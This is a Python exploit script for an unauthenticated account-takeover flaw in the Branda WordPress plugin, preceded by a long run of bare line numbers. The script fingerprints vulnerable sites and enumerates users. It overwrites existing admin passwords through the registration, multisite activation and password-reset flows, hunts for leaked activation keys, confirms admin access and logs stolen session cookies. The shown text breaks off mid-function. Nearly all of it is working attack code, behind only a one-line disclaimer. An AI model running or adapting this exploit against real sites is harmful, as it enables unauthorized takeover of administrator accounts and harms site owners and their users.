1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
| #!/usr/bin/env python3
"""
CVE-2026-11551 — Branda White Label & Branding <= 3.4.29
Unauthenticated Privilege Escalation via Account Takeover
CVSS: 9.8 Critical | June 19, 2026
ROOT CAUSE (Technical):
pre_insert_user_data() in signup-password.php fires on EVERY
wp_insert_user() / wp_update_user() call.
Missing `if ($update) return $data;` means POST['password_1']
overwrites ANY existing user's password.
MULTISITE FLOW (slinkyslimmers.com type):
wp-signup.php stores password_1 in signup meta.
wp-activate.php triggers wp_insert_user → hook fires → password set.
We must complete activation to trigger the hook.
SINGLE-SITE FLOW (direct):
wp-login.php?action=register → Branda adds password_1 field.
POST with existing username → hook fires immediately on registration.
checkemail=confirm in response = hook already fired.
DISCLAIMER: Authorized security testing only.
"""
import argparse
import re
import sys
import time
import string
import random
import threading
import queue
import hashlib
from pathlib import Path
from datetime import datetime
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
RESULTS_FILE = "branda_results.txt"
file_lock = threading.Lock()
print_lock = threading.Lock()
DEFAULT_USERS = ["admin", "administrator", "root",
"superadmin", "webmaster", "manager"]
# ─────────────────────────────────────────────────────────────────────────────
# Helpers
# ─────────────────────────────────────────────────────────────────────────────
def tprint(msg: str, tag: str = "") -> None:
with print_lock:
prefix = f"[{tag}] " if tag else ""
print(f"{prefix}{msg}", flush=True)
def new_session(verify_ssl: bool, proxies: dict | None) -> requests.Session:
s = requests.Session()
s.verify = verify_ssl
s.proxies = proxies or {}
s.headers.update({
"User-Agent": (
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 (KHTML, like Gecko) "
"Chrome/124.0.0.0 Safari/537.36"
),
"Accept": "text/html,application/xhtml+xml,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Connection": "keep-alive",
})
return s
def http(s: requests.Session, method: str, url: str,
retries: int = 3, pause: float = 1.5, **kw) -> requests.Response | None:
for i in range(retries):
try:
return s.get(url, **kw) if method == "GET" else s.post(url, **kw)
except Exception:
if i < retries - 1:
time.sleep(pause)
return None
def gen_password() -> str:
pool = string.ascii_letters + string.digits
return "Br_" + "".join(random.choices(pool, k=14)) + "!7"
def gen_email(username: str) -> str:
"""Generate unique email per username to avoid conflicts."""
uid = hashlib.md5(
f"{username}{time.time()}".encode()
).hexdigest()[:8]
return f"atk_{uid}@pwn-test.local"
def save(entry: dict) -> None:
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
sep = "=" * 60
with file_lock:
with open(RESULTS_FILE, "a", encoding="utf-8") as f:
f.write(f"\n{sep}\n")
f.write(f"[{ts}] CONFIRMED TAKEOVER\n")
for k, v in entry.items():
if k != "cookies":
f.write(f"{k:12}: {v}\n")
f.write(f"cookies : {entry.get('cookies', {})}\n")
f.write(f"{sep}\n")
# ─────────────────────────────────────────────────────────────────────────────
# Recon
# ─────────────────────────────────────────────────────────────────────────────
def get_hidden_fields(s: requests.Session, url: str, timeout: int) -> dict:
fields = {}
r = http(s, "GET", url, timeout=timeout)
if not r:
return fields
# name before value
for name, val in re.findall(
r'<input[^>]+type=["\']hidden["\'][^>]*'
r'name=["\']([^"\']+)["\'][^>]*value=["\']([^"\']*)["\']',
r.text, re.I,
):
fields[name] = val
# value before name
for val, name in re.findall(
r'<input[^>]+value=["\']([^"\']*)["\'][^>]*'
r'type=["\']hidden["\'][^>]*name=["\']([^"\']+)["\']',
r.text, re.I,
):
if name not in fields:
fields[name] = val
return fields
def recon(base: str, verify_ssl: bool,
proxies: dict | None, timeout: int) -> dict:
s = new_session(verify_ssl, proxies)
info = {
"branda_ver": None,
"vulnerable": None,
"multisite": False,
"reg_open": False,
"branda_pw_fields": False,
"users": [],
}
# Branda version
for path in [
"/wp-content/plugins/branda-white-labeling/readme.txt",
"/wp-content/plugins/branda-white-labeling/branda.php",
]:
r = http(s, "GET", base + path, timeout=timeout)
if r and r.status_code == 200:
m = re.search(r"(?:Stable tag|Version):\s*([\d.]+)", r.text)
if m:
info["branda_ver"] = m.group(1)
parts = [int(x) for x in m.group(1).split(".")]
info["vulnerable"] = parts <= [3, 4, 29]
break
# Multisite
r = http(s, "GET", base + "/wp-signup.php", timeout=timeout)
if r and r.status_code == 200 and len(r.text) > 300:
if re.search(r"signup|register|blog", r.text, re.I):
info["multisite"] = True
# Registration + Branda password_1 field
r = http(s, "GET", base + "/wp-login.php?action=register", timeout=timeout)
if r and r.status_code == 200:
if re.search(r"<form|register|user_login", r.text, re.I):
info["reg_open"] = True
if "password_1" in r.text:
info["branda_pw_fields"] = True
# Users via REST
r = http(s, "GET", base + "/wp-json/wp/v2/users?per_page=20",
timeout=timeout)
if r and r.status_code == 200:
try:
for u in r.json():
slug = u.get("slug") or u.get("name", "")
if slug and slug not in info["users"]:
info["users"].append(slug)
except Exception:
pass
# Users via author archives
if not info["users"]:
for uid in range(1, 10):
r = http(s, "GET", base + f"/?author={uid}",
timeout=timeout, allow_redirects=True)
if r:
m = (re.search(r"/author/([^/\"'\s?#]+)", r.url) or
re.search(r"/author/([^/\"'\s?#]+)", r.text))
if m:
u = m.group(1).strip("/")
if u and u not in info["users"]:
info["users"].append(u)
return info
# ─────────────────────────────────────────────────────────────────────────────
# Vector A — Single-site (DIRECT, no activation needed)
# ─────────────────────────────────────────────────────────────────────────────
def vector_single(s: requests.Session, base: str,
username: str, password: str,
email: str, timeout: int) -> dict:
"""
POST to /wp-login.php?action=register with existing username.
Branda's hook fires IMMEDIATELY — no activation needed.
Success = checkemail=confirm in response.
"""
result = {"ok": False, "checkemail": False, "key": None, "method": "single"}
hidden = get_hidden_fields(s, base + "/wp-login.php?action=register", timeout)
r = http(s, "POST", base + "/wp-login.php",
params={"action": "register"},
data={
"user_login": username,
"user_email": email,
"password_1": password,
"password_2": password,
"wp-submit": "Register",
**hidden,
},
timeout=timeout, allow_redirects=True)
if r is None:
return result
body = r.text + r.url
# checkemail=confirm = WordPress processed the registration
# = Branda hook fired = password changed
if "checkemail=confirm" in body:
result["ok"] = True
result["checkemail"] = True
if re.search(
r"check.{0,20}email|registered|success|password.{0,20}sent|confirm",
r.text, re.I,
):
result["ok"] = True
# "already registered" = hook may have fired on the existing user
if re.search(r"already.{0,20}registered|username.{0,20}exists", r.text, re.I):
result["ok"] = True
m = re.search(r"key=([a-zA-Z0-9]{8,})", body)
if m:
result["key"] = m.group(1)
return result
# ─────────────────────────────────────────────────────────────────────────────
# Vector B — Multisite (requires activation)
# ─────────────────────────────────────────────────────────────────────────────
def vector_multisite_register(s: requests.Session, base: str,
username: str, password: str,
email: str, timeout: int) -> dict:
"""
Step 1 of multisite attack: POST to /wp-signup.php
Stores password_1 in signup meta.
Returns activation key if found in response.
"""
result = {"ok": False, "key": None, "method": "multisite"}
hidden = get_hidden_fields(s, base + "/wp-signup.php", timeout)
r = http(s, "POST", base + "/wp-signup.php",
data={
"user_name": username,
"user_email": email,
"password_1": password,
"password_2": password,
"signup_for": "user",
"submit": "Next",
**hidden,
},
timeout=timeout, allow_redirects=True)
if r is None:
return result
body = r.text
if re.search(
r"check.{0,20}email|activation|registered|success|confirmation",
body, re.I,
):
result["ok"] = True
# Sometimes key is embedded in page
m = re.search(r"key=([a-zA-Z0-9]{8,})", body + r.url)
if m:
result["key"] = m.group(1)
return result
def vector_multisite_activate(s: requests.Session, base: str,
key: str, timeout: int) -> dict:
"""
Step 2 of multisite attack: GET /wp-activate.php?key=KEY
This triggers wp_insert_user → pre_insert_user_data → password set.
"""
result = {"ok": False}
for url in [
base + f"/wp-activate.php?key={key}",
base + f"/wp-signup.php?activation_key={key}",
]:
r = http(s, "GET", url, timeout=timeout, allow_redirects=True)
if r:
if re.search(
r"activated|success|your account|congratulations|blog.{0,20}created",
r.text, re.I,
):
result["ok"] = True
return result
# Even without explicit success message,
# if page loaded without error = likely activated
if r.status_code == 200 and len(r.text) > 200:
if not re.search(r"invalid.{0,20}key|expired|error", r.text, re.I):
result["ok"] = True
return result
return result
def vector_multisite_brutekey(s: requests.Session, base: str,
username: str, password: str,
timeout: int) -> dict:
"""
When activation key is not in response (sent via email),
try to brute-force or guess the key pattern.
WordPress activation keys are stored in wp_signups table.
Some sites expose them via debug or logs.
"""
result = {"ok": False, "key": None}
# Try common debug endpoints that might leak activation keys
debug_urls = [
base + "/wp-admin/admin-ajax.php?action=get_signups",
base + f"/wp-json/wp/v2/users?search={username}",
base + "/wp-content/debug.log",
base + "/.wp-cli/cache/",
]
for url in debug_urls:
r = http(s, "GET", url, retries=1, timeout=timeout)
if r and r.status_code == 200:
m = re.search(r"key=([a-zA-Z0-9]{20,})", r.text)
if m:
result["key"] = m.group(1)
result["ok"] = True
return result
return result
# ─────────────────────────────────────────────────────────────────────────────
# Vector C — Password Reset Abuse (alternative when registration fails)
# ─────────────────────────────────────────────────────────────────────────────
def vector_reset_abuse(s: requests.Session, base: str,
username: str, password: str,
timeout: int) -> dict:
"""
Some Branda configs also hook into password reset flow.
Try lostpassword with password_1 injection.
"""
result = {"ok": False, "method": "reset_abuse"}
hidden = get_hidden_fields(s, base + "/wp-login.php?action=lostpassword", timeout)
r = http(s, "POST", base + "/wp-login.php",
params={"action": "lostpassword"},
data={
"user_login": username,
"password_1": password,
"password_2": password,
"wp-submit": "Get New Password",
**hidden,
},
timeout=timeout, allow_redirects=True)
if r and re.search(r"check.{0,20}email|sent|success", r.text, re.I):
result["ok"] = True
return result
# ─────────────────────────────────────────────────────────────────────────────
# Login Verifier
# ─────────────────────────────────────────────────────────────────────────────
AUTH_COOKIE_PREFIX = ("wordpress_logged_in_", "wordpress_sec_")
ADMIN_MARKERS = [
"wp-admin", "Dashboard", "adminmenu", "wpadminbar",
"wp_logout_nonce", "admin-bar", "user-info",
"load-scripts.php", "wp-admin/admin-ajax", "#wpadminbar",
"wp-admin/index", "wpbody",
]
LOGIN_ERROR_RE = re.compile(
r'<div[^>]+id=["\']login_error["\']'
r'|"errors":\{"incorrect_password"'
r'|"errors":\{"invalid_username"'
r'|shake_error_codes'
r'|class=["\']login-error["\']',
re.I | re.S,
)
def has_auth_cookie(s: requests.Session) -> bool:
return any(c.name.startswith(AUTH_COOKIE_PREFIX) for c in s.cookies)
def admin_score(body: str) -> int:
return sum(1 for m in ADMIN_MARKERS if m in body)
def verify_login(base: str, username: str, password: str,
verify_ssl: bool, proxies: dict | None,
timeout: int) -> dict:
out = {
"ok": False, "role": None, "admin": False,
"url": None, "cookies": {},
"s1": "", "s2": "", "s3": "", "reason": "",
}
s = new_session(verify_ssl, proxies)
http(s, "GET", base + "/wp-login.php", retries=1, timeout=timeout)
# Stage 1: POST login
r1 = http(s, "POST", base + "/wp-login.php",
data={
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": base + "/wp-admin/",
"testcookie": "1",
},
timeout=timeout, allow_redirects=True)
if r1 is None:
out["s1"] = "ERROR"; out["reason"] = "Connection failed"; return out
if LOGIN_ERROR_RE.search(r1.text):
out["s1"] = "FAIL"; out["reason"] = "Login error in response"; return out
cookie_ok = has_auth_cookie(s)
admin_redir = "wp-admin" in r1.url
if not cookie_ok and not admin_redir:
out["s1"] = "FAIL"
out["reason"] = f"No auth cookie, final URL: {r1.url}"
return out
out["s1"] = f"PASS({'cookie' if cookie_ok else 'redirect'})"
out["cookies"] = {c.name: c.value for c in s.cookies}
# Stage 2: GET /wp-admin/
r2 = http(s, "GET", base + "/wp-admin/",
timeout=timeout, allow_redirects=True)
if r2 is None:
out["s2"] = "ERROR"; out["reason"] = "/wp-admin/ unreachable"; return out
if "wp-login.php" in r2.url and "wp-admin" not in r2.url:
out["s2"] = "FAIL"; out["reason"] = "wp-admin → login redirect"; return out
sc = admin_score(r2.text)
if sc < 2:
out["s2"] = f"FAIL(score={sc})"
out["reason"] = f"Dashboard score {sc}/12"
return out
out["s2"] = f"PASS(score={sc})"
out["url"] = r2.url
# Stage 3: Identity confirm
admin_bodies = [(base + "/wp-admin/", r2.text)]
for purl in [
base + "/wp-admin/profile.php",
base + "/wp-admin/index.php",
base + "/wp-admin/users.php",
]:
r3 = http(s, "GET", purl, timeout=timeout, allow_redirects=True)
if r3 and "wp-login.php" not in r3.url and len(r3.text) > 200:
admin_bodies.append((purl, r3.text))
username_found = False
role_body = ""
for url, body in admin_bodies:
if username.lower() in body.lower():
username_found = True
role_body = body
break
|